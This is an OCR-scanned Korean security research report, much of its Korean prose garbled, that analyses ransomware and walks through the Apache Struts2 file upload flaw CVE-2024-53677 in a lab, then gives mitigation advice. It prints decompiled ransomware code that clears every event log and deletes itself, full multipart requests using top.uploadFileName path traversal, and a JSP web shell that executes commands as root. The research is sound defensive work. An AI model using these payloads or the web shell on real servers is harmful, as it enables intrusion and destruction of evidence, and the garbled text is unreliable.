22| 4Byte £ =Hldl ool 2fost GRS =elstrt.
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e o - x| 2=}

EEEERIRETE R

AILXZE gl= A=st CHe miUo|2tH fools TIdoior oftt. mpntot X AlZbS UEHH= ERY
AT ZE T2 5, OIF 7|Ht2=Z MD5 SHAIE 2 7H Mdstrt. X #Hm| MD5 siA| gtel @ 8Bytes =
IVE AMESHH, & | MD5 29| SiA| gte| o 24Bytes = 2 7|2 AtE3lCt ojF my H
2NE|ES ALEN A2otE TSI o Awstof ARESt FI9F IV g2 RSA 212|ES Soll Y=ot
Floomdel o Fof IS, B2 MY Ao|xet YmetEl  MA}YS  LEEHHZ] flet
AlJLIX(0x31415926)E mte| W Zof| FI6tn LotE F=EOC mE st Olx0= ZE

Cl2Efz|of HM-ES MM

O —

o =
i,
D-v-

tot

ot
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FileW = CreateFileW(L"temp.cmd™, @x48080000u, lu, @i64, 2u, Ox86u, @i64);
if ( FileW != -1i64 )

strepy(
String,
"@Echo off\rin”
"irephrin”
"del ¥1hr\n™
"if not errorlevel @ goto rep\rin”
"for /F \"tokens=*\" X1 in (‘wevtutil.exe el') DO wevtutil.exe cl \"¥X¥1\"\rin"
"del Ze\rin");

NumberOfByteskWritten = @;

memset(Filename, @, sizeof(Filename});

memset(CommandLine, @, sizeof(Commandline)};

v7 = lstrlenA(String);

WriteFile(FilewW, S5tring, v7, &NumberOfBytesWritten, @ied);

CloseHandle(Filel);

ModuleHandleA = GetModuleHandleA(@ib4);

GetModuleFileNameA(ModuleHandleAd, Filename, @x4@0u);

wsprintfA(CommandLine, "temp.cmd ¥s™, Filename);

StartupInfo.cb = 184;

memset(&StartupInfo.cbhb + 1, @, 18@);

memset(&ProcessInformation, @, sizeof(ProcessInformaticon));

CreateProc

sA(@i64, CommandLine, @is4, @ie4, @, @, @ied4, Bied4, &StartupInfo, &ProcessInformation);// self delete

O3 13. X7t AR 5L O|HIE 27 AbH|
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0 ASR (Attack Surface Reduction): 3ZXI7t At83H= EX T2 MALQL MM JHstt IRMAE Kttt ES J|s

" EDR (Endpoint Detection and Response): ZAFE{2L ZHIY, A S THZEZ|of|A] Lish= ofM HelE AAIZICRE X5t 24 9l hSsto
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(r‘ Indicator Of Compromise q

&

Underground(SHA-256)
&

File Name

enc_getswin_x64.exe
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« CyberPress (https://cyberpress.org/microsoft-office-zero-day-to-spread-ransomware/)

- BleepingComputer 34| SH|0|X| (https://www.bleepingcomputer.com/news/security/clop-ransomware-
is-now-extorting-66-cleo-data-theft-victims/)

- BleepingComputer 34| SH|0|X| (https://www.bleepingcomputer.com/news/security/clop-ransomware-
claims-responsibility-for-cleo-data-theft-attacks/)

- Qualys 9I& M E1M (https://threatprotect.qualys.com/2024/12/03/zyxel-firewall-directory-traversal-
vulnerability-exploited-in-ransomware-attack-cve-2024-11667/)

- Security Week (https://www.securityweek.com/hacker-leaks-cisco-data/)
+ KBS &2 (https://news.kbs.co.kr/news/pc/view/view.do?ncd=8133787)

- BleepingComputer 34 ZH|0|X| (https://www.bleepingcomputer.com/news/security/us-charges-russian-
israeli-as-suspected-lockbit-ransomware-coder/)

. HOM=A (https://www.boannews.com/media/view.asp?idx=135211)

. 52 XNE2|E (https://www.ngetnews.com/news/articleView.html?idxno=516169)
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Research & Technigue

Struts2 File Upload #|2f&(CVE-2024-53677)

8 ME

Apache Struts2 = Java EE™ @ OHEZ[Z[0|M TS Lot QEAA DL
OfZ2[A|0| 200N E2 & AtEl7F EXHSCh. OSINT M dxlg &
Apache Struts2 & Z=3|oif 2™, 20254 01€ 02 7|&C=2 =
358 Ot 7 AFO|EO|M Apache Struts2 £ AtE Fol 2

s (1,355,895 unique IP

ZX: fofa.info

12l 1. Apache Struts2 A2 7

IE M FH(CVE-2023-50164)0|
T 734.:. OM Apache & 2023 4 12 & 4 Lo
#|9FMS MX|H Apache Struts2 6.3.0.2 HHS ZHHCE 0|F 2024 1 12 & 11 Y I CRA| Apache
Struts2 MU YRC 25|12 S8 §Z S A OHH(CVE-2024-53677)0] 2IHFLL.

2023 A 12 & Apache Struts2 I}
ZIHENCE, SHE FeFHe ml dzZ2E

HUﬂlO

?.'.

0

2HIT
P

]

12 Java EE(Java Platform, Enterprise Edition): 3i%= XI7}2E} EE(Jakarta EE)2 22|H, XHHIZ 0|83 AHZ JHge 93t
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OHIZINZ THY YZC 2X HIOR Qs WD DX OGNL E¥AIRES 0|8s olo| Z=of
2 (Web Shell) It 22 HNMAS AR 4 ULk ST HOFHS 20241 128 17Y 7IZOE st
410 80| AIZE|D YO0 FLICLEF WIS Eerst Tk 2vto] Aol 2ot 7|Ee st #|ofEe

A H| 0| Bt 0] =

® =82 82 23

=A%

2l 2.CVE-2024-53677 22 AlLl2|Q

Rl

struts2€ ArE &2 F|ofet & mo|X|of| H2
|

S0 ofd o H=E

©®©® 060
04 OH O
N
R
rirorr rr

Q
<
"
N
o
N
®
a1
w
(@]
N
N
¥
o
o
1o

=

b

[SHXte| ME{Of 2t RE MX|
® I|siXte| HIO|EHIO|A LHES| 52 HME EH

@ Ih= ATEQ0] HH
CVE-2024-53677 0ff #|ofet AT EQ 0] MHS Tkt 2Tt

EE Hlop e

Struts 2.0.0 — Struts 2.3.37
Apache Struts2 Struts 2.5.0 — Struts 2.5.33
Struts 6.0.0. — Struts 6.3.0.2
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@ HAE 2F 74 Z=

HAE 238 75 CVE-2024-53677 9| S 2HEE ATELC

o= He
. Struts 6.3.0.2
s Xt
(192.168.0.5)
223} Kali Linux
(192.168.216.129)

® FH HAE

Step 1. &4 74

mjsixt PC ofl Fofet Apache Struts2 =7 O|0|X|E S &&S F4olCt. CVE-2024-53677 F[tH
HAE S 2ot =4 0|0|X] A F|H HAE O of2lf EQSTLab GitHub Repository Oi[A] =tolgt
2 QUCh

«URL: https://github.com/EQSTLab/CVE-2024-53677

O|siXt PC O™ CHE FHMEZ GitHub Repository £ clone $iCt.

> git clone https://github.com/EQSTLab/CVE-2024-53677

LS AMEZ docker CIHMEZ| LHZ 0|S3H docker O|0|X|E HUE T AHAMGICL
> cd docker
> docker build --ulimit nofile=122880:122880 -m 3G -t cve-2024-53677 .
> docker run -p 8080:8080 --ulimit nofile=122880:122880 -m 3G --rm -it --name cve-
2023-50164 cve-2024-53677

oY AZE ZH0f| FAot Apache struts2 HIO[X[7} 1=El S gold £ QUL

C O A 192.168.0.5

KaliLinux # KaliTools = KaliDocs X Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB OffSec

Upload

Select a file: | Browse... | No file selected.

Upload File
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https://github.com/EQSTLab/CVE-2024-53677

Step 2. |orI-I E|AE

CVE-2024-53677 #fH HIAEE f[ct PoC 7t MEE EQST Lab 2| GitHub Repository F4=
Ch3ah 2L

«URL: https://github.com/EQSTLab/CVE-2024-53677

34Xt PCO|A git clone BEOE AME3H CVE-2024-53677 XZ&A2| PoC & LCIR2EESIL.

/home/kali/poc
clone https://github.com/EQSTLab/CVE-20824-53
Cloning into ' :
remote: Enumerating ob
remote: Counting objects

Compressing nb]e:
remote: Total 36 (de 1T4
{: Hiuiﬂh

13 4. CVE-2024-53677 PoC CIREE

CIHRELE 22 poC M2 CVE-2024-53677.py £ At
I|8HXtQ| pfSense Of|A] AHEICE

$ python3 CVE-2024-53677.py —u [struts2 I PEE FA]—p [HEEY DHUAY] f [FEES
oy ZE]

1

ASH SHX PC O|M T&eh HO[Z=7F

ofiE 2HE2 Flofot HTQ| Struts2 & A= AMH(https://192.168.0.5)7F T+=E[0] RUCE. BT AMH| A0

ofo|Xel HHS U=Ldt= PO oAl Ch3at ZCt

$ python3 CVE-2024-53677.py —-u http://192.168.0.5/upload.action —p ../test.jsp —f test.txt

2
o
Y
o

O
n=
00|'
)
rl:l
In

£ ot2fel 20| SAX} PCOIM it

/home/kali/poc/CVE-2024-53677

CVE-2024-53677.py -u http://192.168.0.5:8080/upload.action -p ../test.jsp -f test.txt
33 5.PoC A HME of|A|

0= MHZ2| testjsp 2 ®2otH Cr2a}b ZHo| 4l

=

=

llo] YZE B HS sole

<« C @ O A 192.168.05

KaliLinux # KaliTools « KaliDocs % Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB OffSec

output

uid=@(root) gid=-8(root) groups=@{root)
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https://github.com/EQSTLab/CVE-2024-53677

ofo|d mA %*EE -’FIQPS E N **P‘*OE “'1'°Hif Step 1 OflM&= oI’“CHI LSt FF™e! CVE-
ofofl CHeE et Z=X|of chalf 7H=2Fs| CHELt. Step 2 OlM= CVE-2024-53677 2
2|2t 0|F 0|89 H llfa' HRZEE ASh= IENK| AFotCt

Step 1. CVE-2023-50164

2023 H 12 & 0} H=EE FAMOE CVE-2023-50164 7+ S7HCE. CVE-2023-50164 O CHot AbA|
L2 EQST Insight 2024 A 02 E=0flA 2ol £~ QUL

« URL:https://www.skshieldus.com/download/files/download.do?o_fname=EQST %20insight_Research%20
Technique_202402.pdf&r_fname=20240220143226638.pdf

Step1 OlM= CVE-2023-50164 2| CHEFXQI U 2|2t o|of| Ciet 2ot =X ZHEfsHA| CHEL.

1) CVE-2023-50164 £4

ol HEE 2FO| S0 HTTP ¥ Nm2H|HE XE2[dh= HttpParameters Z2HA2| get(),
remove(), contains() HMEE DY == zHEEl IZI0IE0| CHSt HIWE &otCh O] of
HttpParameters ZziA= D2HOEN it CHAEXE S5t m2tM name='upload'?t
name='Upload's 2| OfZI0|EIZ FZ3t7| 20| upload 2 Upload 2t= II2t0|E{7} M2 MAMEICE

@Suppresskarnings{"unchecked")
|prlic class HttpParameters implements Map<String, Parameter:> {

private Map<String, Parameter» parameters;

private HttpParameters(Map<5tring, Parameter> paramsters)
this.parameters = parameters;

@Suppresslarnings("rawtypes”)
public static Bullder create(Map requestParameterMap) {
return new Bullder(requestParameterMap);

T2l 7. HttpParameters 224

0|2 Parametersinterceptor Z2iAQ| setParameters() HMEONM TreeMap FE= IO H=ZEES
XE|sh=H|, Java 2| TreeMap 2 [xAL > 2OpEl thEXL > I AR > =] =M= FZeItt 2t
op2tolE 2eZ ‘upload'?t ‘Upload’?t SAIO ERSICHH, CHEXIZ A|%fSh= ‘Upload’ Tt2f0[E{Q| IiA
LIS U2 EHTIC].
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|protected void setParameters(final Object action, ValusStack stack, HttpParamsters parameters) {|
HttpParameters params;

Map<String, Parameter>» acceptableParameters;
if (ordered) {

params = HttpParameters.create().withComparator(getOrderedComparator()).withParent(parameters).build();
acceptableParameters = new TreaMap<>»(getOrderedComparator());
} else {
params = HttpParameters.create().withParent(parameters).build();
acceptableParameters = new TreaMap<d>();

12l 8. setParameters() HIAME

0|2 7|Z0| XME=l Upload II2tO|E Zt2 uploadFileName IZtO|E{0f Qs Aol Qo] HZES

Qo] melEoZ HES £ QICh OIE 0 ../webshelljsp 2 7|Z0| HolEl testjpg & MHEQSH=
g2 ofefet ZLCf.

It2}0| E{ F =upload it 20| E=Upload 1t2t0| E{ H =uploadFileName
Y H =test.jpg ot H=test.jpy ot H = /webshell jsp

it YZE TANE HEE S0 HYICE TEN HUE o

|
1
EHoz S&sls ot Y=E niato|E{(uploadFileName) XH7H 2]
oy

2) CVE-2023-50164 I{X|

2023312 & 04 °'01| 37igt CVE-2023-50164 F|fF miX|= Ct3at ZCt M HTTP @¥F Ii2ti|g
2| oM oAEX 2 Slo] SEe MBI A= LR, MAHStE remove() HIMEZE It
Oj2t0|EIE HOME= AS WX THX|RC.

76 86 public HttpParameters appendAll(Map<String, Parameter> newParams) {
87 + remove (newParams. keySet());

77 88 parameters.putAll (newParams);

78 89 return this;

79 98 }

12l 10. HttpParameters I{X| LY

2l 1) CVE-2023-50164 2M0|AM AZst HttpParameters 22iA2| get(), remove(), contains()
HANEE D2i0jE M2 =F tAEXE F26HK| %= equalsignoreCase() HIMES FII3UCt O

—= T

C o4 "upload” If2tO[E{Q} “Upload” Li2i0|E{= CHE ZfC=ZE X2|E X ASS SSotCt.

A=
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118 137 @0Override
111 138 public Parameter get(Object key) {
112 - if (parameters.containsKey(key)) {
113 - return parameters.get(key);
114 & } else {
115 - return new Parameter.Empty(String.valueOf(key));
139 4+ if (key != null && contains(String.valueOf(key))) {
140 + String keyString = String.valueOf(key).toLowerCase();
141+ for (Map.Entry<String, Parameter> entry : parameters.entrySet()) {
142+ if (entry.getKey() != null && entry.getKey().equalsIgnoreCase(keyString)) {
143 | + return entry.getValue();
144+ }
145 4 }
116 146 }
147  + return new Parameter.Empty(String.valueOf(key));
3 1. get() THX| LS
63 73 public boolean contains(String name) {
64 = return parameters.containsKey(name);
74+ boolean found = false;
75 + String nameLowerCase = name.toLowerCase();
76+
77+ for (String key : parameters.keySet()) {
78+ if (key.equalsIgnoreCase(nameLowerCase)) {
79 4+ found = true;
80 4+ break;
81 + }
82 4+ }
83 +
84 4 return found;
65 85 }
12l 12, contains() x| LY
50 52 public HttpParameters remove(Set<String> paramsToRemove) {
51 53 for (String paramName : paramsToRemove) {
52 = parameters.remove(paramName) ;
54  + String paramNameLowerCase = paramName.tolowerCase();
55 4+ Iterator<Entry<String, Parameter>> iterator = parameters.entrySet().iterator();
56 +
57 o+ while (iterator.hasNext()) {
58 + Map.Entry<String, Parameter> entry = iterator.next();
59 + if (entry.getKey().equalsIgnoreCase(paramNameLowerCase)) {
60 + iterator.remove();
61 + }
62 + }
53 63 }
54 64 return this;

72! 13.remove() x| LHS
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Step 2. CVE-2024-53677

2024 4 12 ¥ £ CIE ofY AZE FFMOZ CVE-2024-53677 O| =KLt s M2 CVE-
2023-50164 F ™= CHE Y22 2Sst7| IE0| CVE-2023-50164 0Ol F2fstX| retz: F|2tHO|
grAsh 4~ QICH Tk Interceptor 2 file Upload Interceptor 7t OF-l Action File Upload Interceptor S

e [
AIgste BRE #otsix| eict.

1) Struts2 ValueStack =t If2t0|E{ HiQIH
Struts2 = 2t HZHE 7t MSEES 8OIoHH ot7| {8 ValueStack Ol2t= JHES ARSTLCE

X}
ValueStack O|Zt Z=ZMAE HMdot= S HME K=xt= Aor =2 A P29 Xz FX=2
Moo=

=t

struts2 Of|AM XHEHSH H|O|E| FZECL ValueStack 2 7|2HMOZ X|AMQ| HMZEE X|SI7EX] =XtH

EMMSEY| IHE0| X2 F7tHE CIO|HE HLCt 2| HojLiN Z203 3 K55 =QIC)

Java 7[gte| ¢ ofFzZ|A0|MoM= mEHO|HE =2{2 W HttpServletRequest.getParameter() E=
HttpServletRequest.getParameterMap() 2t #2 HANEE Al OfHSE 7IMQ=E BRIt UCL
Struts2 2| A2 ValueStack 2 Solff m2t0|E{0 FI2etct O] f m2i0jHE HielEd e mf OGNL
HHAME Edf A=, Ol struts2 2A IE L /core/src/main/resources/struts-default.xml

ool HAIE SAE Sl ehelg = ULk

=

esources A struts-default.xm

24@ <interceptor nams

="scopediodelDriven” class="com.opensymphony.xwork2.interceptor.ScopediodelDrivenInterceptor”/>
241 kinterceptor name="params" class="com.opensymphony.xwork2.interceptor.ParametersInterceptor"/s|
242 <interceptor name="paramRemover" class="com.opensymphony.xwork2.interceptor.ParameterRemoverInterceptor”/>
243 <interceptor name="actionMappingParams" class="org.apache.struts2.interceptor.ActionMappingParametersInterceptor™/>
244 <interceptor name="prepare" class="com.opensymphony.xwork2.interceptor.Preparelnterceptor”/>

33 14. struts-default.xml L} ?/X|3t Parametersinterceptor a4

struts-default.xml W BAIEl  Parametersinterceptor Z2{A=  /core/src/main/java/com/
opensymphony/xwork2/interceptor/Parametersinterceptorjava &4 IEE SdiM elg & UCL
0| o ValueStack & E8l Iz}0|E{S HIQILSH= HE2 ofeljet Zict.

e »sr 3 ava m > opensymphony > xwork2 » interceptor > J Parametersinterceptor.java
1L5
124 if (parameters != null) {
125 Map<String, Object> contextMap = ac.getContextMap();
126 try {
127 ReflectionContextState.setCreatinghullObjects(contextMap, true);
128 ReflectionContextState. setDenyMethodExecution(contextMap, true);
129 ReflectionContextState.setReportingConversionErrors(contextMap, true);
13e
131 ValueStack stack = ac.getValueStack();
132 setParameters{action, stack, parameters);
133 } finally {
134 ReflectionContextState.setCreatinghullObjects(contextMap, false);
135 ReflectionContextState.setDenyMethodExacution(contextMap, false);
136 ReflectionContextState.setReportingConversionErrors(contextMap, false);
137
138 3
139 1
148 return invocation.invoke();

2l 15. Parametersinterceptor 222

4 m2to|E| HiQIE (Parameter Binding): ME2I0|EE Zo|L} Zxof H&ESH= 2t
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-

POST /upload.action HTTP/1.1

Host: localhost:8080

Content-Length: 314

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBblJIBPavxBq8cdi

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/131.0.6778.140 Safari/537.36

Cookie: JSESSIONID=6D3768FOFE4937CB20BBBOEOF5FBEBEE
Connection: keep-alive

------ WebKitFormBoundaryBblJIBPavxBg8cdi
Content-Disposition: form-data; name="Upload"; filename="test3.jpg"
Content-Type: image/jpeg

this_is_test_file
—————— WebKitFormBoundaryBblJIBPavxBq8cdi--

rr

Q| mlg F&SH F| setParameters HIMEES Edf| Oif2t0|E| HIQIZSE
S
=

size=3

"File{name="Upload'}"

[85, 112, 108, 111, 97, 100]

"File{name="Upload'}"

"File{name="UploadFileName'}"

"File{name="UploadFileName'}"

["test3.jpg"]

"File{name="UploadContentType'}"

"File{name="UploadContentType'}"

["iamge/jpeg"]

12l 16. parameters H4 21X

2) setParameters ZE{Z 3|
ot2to|e HIRIYE £3st= setParameters HIAE LHOA = isAcceptableParameter HINE7t True 2
LtQLOFX|2F Parameters Of| I2t0|E{S ZIpStCt,
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167 protected void setParameters(final Object action, ValueStack stack, HttpParameters parameters) {

168 HttpParameters params;
169 Map<String, Parameter» acceptableParameters;
17@ if (ordered) {

params = HttpParameters.create().withComparator(getOrderedComparator()).withParent({parameters).build();
acceptableParameters = new TresMap<»(getOrderedComparator());
173 1 else {

74 params = HttpParameters.create().withParent(parameters).build();
75 acceptableParameters = new TresMap<>();
76 1
178 for (Map.Entry<String, Parameter»> entry : params.entrySet()) {
179 String parameterName = entry.getkey();
128
181 if (isAcceptableParameter(parametarName, action)) {
182 acceptableParameters. put(parameteriame, entry.getValue());
123 1
184 )

12| 17. setParameters L ZEZ

9

f——t

Oo7|M SZst= isAcceptableParameter MM =& acceptableName HAMEE £
acceptableName HME LHE0| ZEXHSH= isAccepted MIMEO| CHA| ZH2 HA
FE2OX| AL

ZEEE o=,

SRR

]

protected boolean isAcceptableParameter(String name, Object action) |
ParameterNamefwars parameterMamelware = (action instanceof ParameterNamefware) ? (ParameterNamedware) action : null;
|return acceptableName(name)|&& (parameterNameAware == null || parameterMamefware.acceptableParameteriams(name));

12l 18. isAcceptableParameter L ZE{Z

287 protected boolean acceptableName(String name) |

288 boolean accepted = isWithinlLengthLimit(name) && !isExcluded{name) &&Iisﬂccepted(name)ﬂ
289 if (devMode && accepted) { // notify only when in devMode

208 LOG.debug("Parameter [{}] was accepted and will be appended to action!™, name);
201 }

292 return accepted;

293 1

12l 19. acceptableName U ZE{Z!

OFX|2f2 2 isAccepted = acceptedPatterns & SoifA Y 22 m2tolE| 0|§0| K= EHX| HAFSICE.

318 protected boolean isAccepted(String paramhlame) {

311 Iﬂcceptedpatternschecker.IsAccepted result = acceptedPatterns.isAccepted(paramiame);
312 if (result.isAccepted()) {

313 return true;

314 } else if (devMode) { // warn only when in devMode

12l 20.isAccepted W ZEE

Sz THE! ZIAHS CHSTH 22 H7 EHA| oA oFofmS el £ ct

—_
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protected boolean isA ted(String paramName)
Accepted rnsChecker.IsAccepted result = this.accept sAccepted(paramName) ;
epted()) {

Debug £ Unnamed

Threads & Variables Console
"http...UNNING Y/

D isAccepted:387, Parameter

4e00-\u9fa5]-?)+"\)))*"

O3 21.isAccepted U HEZ 7 EHA

-l

oy F HEAHA DR[| oofsh= A2 \Ww+2 ¢lsl| of 2kt

0
LIEFACE ME0] RES Melet E+EXZ2 AlZSh= Hols EEESH /ASSE =A™

o| mf OGNL E.ﬁjé'% o|8sHN ZEAS 3otH EX ValueStack S HOME £ UCL OGNL

d 9l 79l ValueStack 2 Hzpd £+ UCh 0IE S0
[O].name EO._&E AE—'.*Q-I 7t R0 EHAS HASH| ME0| name b SYSIC SHX|TH =
AlZfohs HHAI2 isAccepted HIME L HEZ F BEHAS S0E £+ V| WR0| 0| CHAlg okt
HHAS ATI6=0F St

-

0| QleH Z4Aofl ZIF TZot= top HYAIS E8Y = ULt 2| 0|2 Soli 2E HISH Sh= top
E-5|_ Q _('5 b %!L_-l'. é

H bS
1412 top.name 1t name O St 2 LIEHHA EHEZ2 HHIZS Y =+
top.uploadFileName 2 ¥ZCE3tH O|= uploadFileName 2t 27| mfE0| O|F0=
SE WENE 7|E MUBS MHSHA Lt

o
T

result = node.getValue(ognlContext, root);

(context, root, (Member) null,

AaxLength(Integer): void

"fusr/local/tomcat/work/Catalina/localhost/ROOT/upload_a3aa7102_032a_43e3_9613_263c80608629_00000023.tmp"

gl 22.../../test2.jsp 2 ™=l uploadFileName
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3) #lord ofg
QoM AmE vit ZHo| MY AZ= QHOM top.uploadFileName 2t Z2 OGNL EHAS &)
2ol A= 9l =EXE MUFS MFAY = AUCL 2o THAFS MWFs A jsp IY PEEE
Sl el FH HJO| JHSSITY.

Request Response

”Pratty Rawr Hex o \n = Pretty Raw Hex Render

23

———-Wehl{i tFormBoundaryllYt (07107 A7P wrg

HTTP/1.1 208

Content-Type: lamge/jpeg

<%@ page import="java.lo.*, java.util.®, java.net.*" %>
<%

String action = request.getParameter(“action”);
String output = 73

try {
if ("emd”.equals(action)) {
/! Execute system commands
String cmd = request.getParameter ("cmd");
if (emd != null) {
Process p = Runtime.getRuntime().exec(cmd);

w0 w o w

String line;

49 while ((line = reader.readline()) != null) {
1 output += line + "\n";

}

// Return the result
response. setContentType("text/plain™);
out.print(output);

ffffff WebkitFormBoundaryUYtCD7J0zAZPJwrg
40| Content-Disposition: form-data; name="top.uploadFileName"

JEQST.jsp
5 -——-MWebKi tFormBoundaryUYt(D7J0zAZPJwrg--

Content-Disposition: form-data; name="Upload”; filename="EQST.jpg”

BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));

Vary: Sec-Fetch-Dest,Sec-Fetch-Mode, Sec-Fetch-Site,Sec-Fetch-User
Cross-Origin-Embedder-Policy-Report-Only: require-corp
Cross-Origin-Opener-Policy: same-origin

Set-Cookie: JSESSIONID=C8201D108D2A02EDCA7116A3C534DA6B; Path=/; HttpOnly
Content-Type: text/html;charset=UTF-8

Content-Language: ko-KR

8 Content-Length: 35

9 Date: Thu, 82 Jan 2025 13:21:01 GMT

10 Keep-Alive: timeout=20

11 Connection: keep-alive

1w

—{H2E OHAH:../EQST. jsp

12l 23.top.uploadFileName LIZI0[E{E S3t MUY xHES

node.getValue(ognlCont , root);

ocal/tomcat/work/

na/localhost/ROOT/upload_4250037

bf1_408c_9cac_5440ccc3becc8_00000020.tmp"

2l 24.../../[EQST.jsp 2 MAE2|=l uploadFileName
CHSat 20| o4 THIO| uploads Z2E HOILE Yo BHS Mol /22 eie 4 Uk

< &

@ ||oca|host:BOSCIfEQST.jsp?action:cmd&cmd:[d |

uid=0{root) gid=0{root) groups=0{root)

|
u
N
(63
e
10
[0l
I
>
0%
ot
O
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Olof Struts2 2 HE3 HY Y ARSI} Ol OF WY ARSES D Lk, LER 92| 2%
Q0| ZIERSPA QIEIA 22 XHGH Y £FE 4 ATk O 20| HTTP RS HUN IS
solsjel HICH Bafel| stelst 4 Utk

POST /uploads.action HTTP/1.1

Host: localhost:8080

Content-Length: 471

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBblJIBPavxBq8cdi
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/131.0.6778.140 Safari/537.36

Cookie: JSESSIONID=6D3768FOFE4937CB20BBBOEOF5FB6GBEE

Connection: keep-alive

—————— WebKitFormBoundaryBblJIBPavxBg8cdi
Content-Disposition: form-data; name="Upload"; flename="EQST1.jpg"
Content-Type: image/jpeg

this_is_test_file

—————— WebKitFormBoundaryBblJIBPavxBg8cdi

Content-Disposition: form-data; name="Upload"; flename="EQST2.jpg"
Content-Type: image/jpeg

this_is_test_file
—————— WebKitFormBoundaryBblJIBPavxBq8cdi
Content-Disposition: form-data; name="uploadFileName[0]"

mal.jsp
—————— WebKitFormBoundaryBblJIBPavxBqg8cdi--

A S oY 0| E0[0{of & EQST1jpg 7t maljsp 2 MX|HE H=2= & A

fujo

S SE A
stolet & Qick.

1 POST /uploads.action HTTP/1.1 T HTTP/ 1.1 200
2 Host: localhost:2080 ? Vary: Sec-Fetch-Dest,Sec—Fetch-NMode,Sec—Fetch-Site,Sec-Fetch-User
3 Content-Length: 471 3 Cross-0r igin-Embedder—Policy-Report-0nly: require—corp
4 Content-Type: nultipart/form-data: 4 Cross-0Origin-Opener—Policy! same-origin

boundary=——Webl{itFormBoundaryBb | J |BPavxBaadi 5 Set-Coolkie: JSESSIONID=255C206C6B0AASEE0F28E17FIDETEFBS: Path=/:
5 User—Agent: Mozilla/5.0 (Windows NT 10.0; Win84; x84) AppleWebl(it/537.3 £ Content-Type: text/html:charset=UTF-&

(KHTML, like Gecko) Chrome/131.0.8778.140 Safari/537.3 7 Content-Language: en-US
5 Cooltie: JSESSIONID=603768F0FE4937CB20BBBIE0FSFBEBEE 0 Content-Length: 98
TG 9 Date: Fri, 03 Jan 2025 04:49:01 GNT
8 10 Keep-Alive: timeout=20
g ———- Webl< i tFormBoundaryBblJ|BPavxBaScd i 11 Connection: keep-alive
10| Content-Disposition: form—data: name="Upload"; filename="EQST1.jipg" 12
11| Content-Type: image/jpeg 13
12 14
13| this_is_test_file 15
14| ——— WeblK1tFormBoundar yBb | JIBPavxBgScdi 16 U2 Yy
15| Content-Disposition: form—data: name="Upload": filename="EQSTZ.jipg" 17
16| Content-Type: image/jpeg 18 <1i>
17 mal.jsp
18] this_is_test file \ﬁ <>
18] ——— Webli i tFor mBoundar yBb1 J |BPavxBq2cdi
20| Gontent-Disposition: form—-data: name="uploadFilelame[0]" 200 <1i>
21 EQST2. ipg
22 mal_jsp </ 11>
23 ——— Webl<itFormBoundaryBb1J|BPavxBaScdi— 21
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S FUFE2 Struts2 File Upload Interceptor 2| It H=2E =X Aoz Qo LMsiCt T =
Struts2 6.4.0 0| ZAIEl O|=RE [ O AMESIK| AZE IXIAM
Interceptor & ML

+URL: https://struts.apache.org/core-developers/file-upload-interceptor

Floreh HE AE R = Chs IHES SliM 2eld = Ak 24 A8 3 MHoM 23St struts.xml
mels F=Ch oEd 22 2|52 BFZE A8 S¢ struts2 jar THAS FHAHE 4 UL}

root@fe9lafedf9b6: /usr/local/tomcat# find / —-name "struts2*jar" 2> /dev/null
/usr/local/tomcat/webapps/ROOT/WEB-INF/lib/struts2-core-6.3.0.2.jar

a3 27.Struts2 6.3.0.2 AtE =l

e
Fol

truts2 jar IHUS 2= SiHSH META-INF ZC L MANIFEST.MF ItU0IM AL F2 HTS

S
o 4 Quct,

A 1R
o rr
ot

Manifest-Version: 1.0

Implementation-Title: Struts 2 Core

Bunhdle-Description: Apache Struts 2

Bundle-License: https://www.apache.org/licenses/LICENSE-2.0.txt
Bundle-SymbolicName: org.apache.struts.2-core
[Implementation-Version: 6.3.0.2 |

Specification-Vendor: Apache Software Foundation
Bundle-ManifestVersion: 2

2 28.Struts2 6.3.0.2 A 9l

Apache Struts2 O HQt ZX[Z %4 6.4.0 HMZ YEEY WS SXIA/X|TL 7.0.0 HERE = 29|
A E|47| ThE20f| File Upload Interceptor 7t Ot Action File Upload Interceptor 2 AH23H=X| HHEA]
ghole =eTt

«URL: https://cwiki.apache.org/confluence/display/WW/S2-067
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https://struts.apache.org/core-developers/file-upload-interceptor
https://cwiki.apache.org/confluence/display/WW/S2-067

atef CH31t 20| fileUpload £ Interceptor 2 AF2SIEE HA|Z|O] QJUCHH F[FsH 2HAHO|CY,

[(interceptor-ref name="fileUpload">|

32l 29. #[oFst File Upload Interceptor AtE

Ol= <interceptor-ref name="actionFileUpload/> =2 £Hds{A =X|siof 3tCt ZH= F ot
HF (Struts2 6.3.2 0|3})0| Of:l Struts2 £ AMR3H= 20| JEH QFMBE HiO|X|TH Struts2 7.0.0 Off
2tMOF file Upload Interceptor 7b AHE|U7[01 O] EESH ZESHK| 42 + UACh MEMM A F2
Struts2 7} F|ofet HTQIX| = Fofg HFO| OtL|HEtE file Upload Interceptor & AR5t U=X|

efelst= 2ol BRSITY.
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- Wikipedia (Apache Struts2): https://en.wikipedia.org/wiki/Apache_Struts

- Wikipedia (Jakarta EE): https://en.wikipedia.org/wiki/Jakarta_EE

« Apache Struts2 S ff % 12355513 (CVE-2024-53677)(S2-067):
https://y4tacker.github.io/2024/12/16/year/2024/12/Apache-

Struts2-%E6%96 %87 %E4%BB%B6%E4%B8%8A%E4%BC%A0%E9%80%BB%E8%BE%91%E7 %BB%95%
E8%BF%87-CVE-2024-53677-S2-067/

- AttackerKB (CVE-2024-53677): https://attackerkb.com/topics/YfjepZ70DS/cve-2024-53677

« Struts2 MEFIXT £ https://developer.aliyun.com/article/330800

- File Upload Interceptor: https://struts.apache.org/core-developers/file-upload-interceptor

- Action File Upload: https://struts.apache.org/core-developers/action-file-upload

- S2-067: https://cwiki.apache.org/confluence/display/WW/S2-067
«CVE-2023-50164-ApacheStruts2-Docker:https://github.com/Trackflaw/CVE-2023-50164-Apach-
eStruts2-Docker

. cve 2024-53677 vulnerability impacting apache struts-2: https://www.cyber.gc.ca/en/alerts-
advisories/cve-2024-53677-vulnerability-impacting-apache-struts-2

- Critical security vulnerability affecting Apache Struts2 below 6.4.0.: https://www.cyber.gov.au/about-
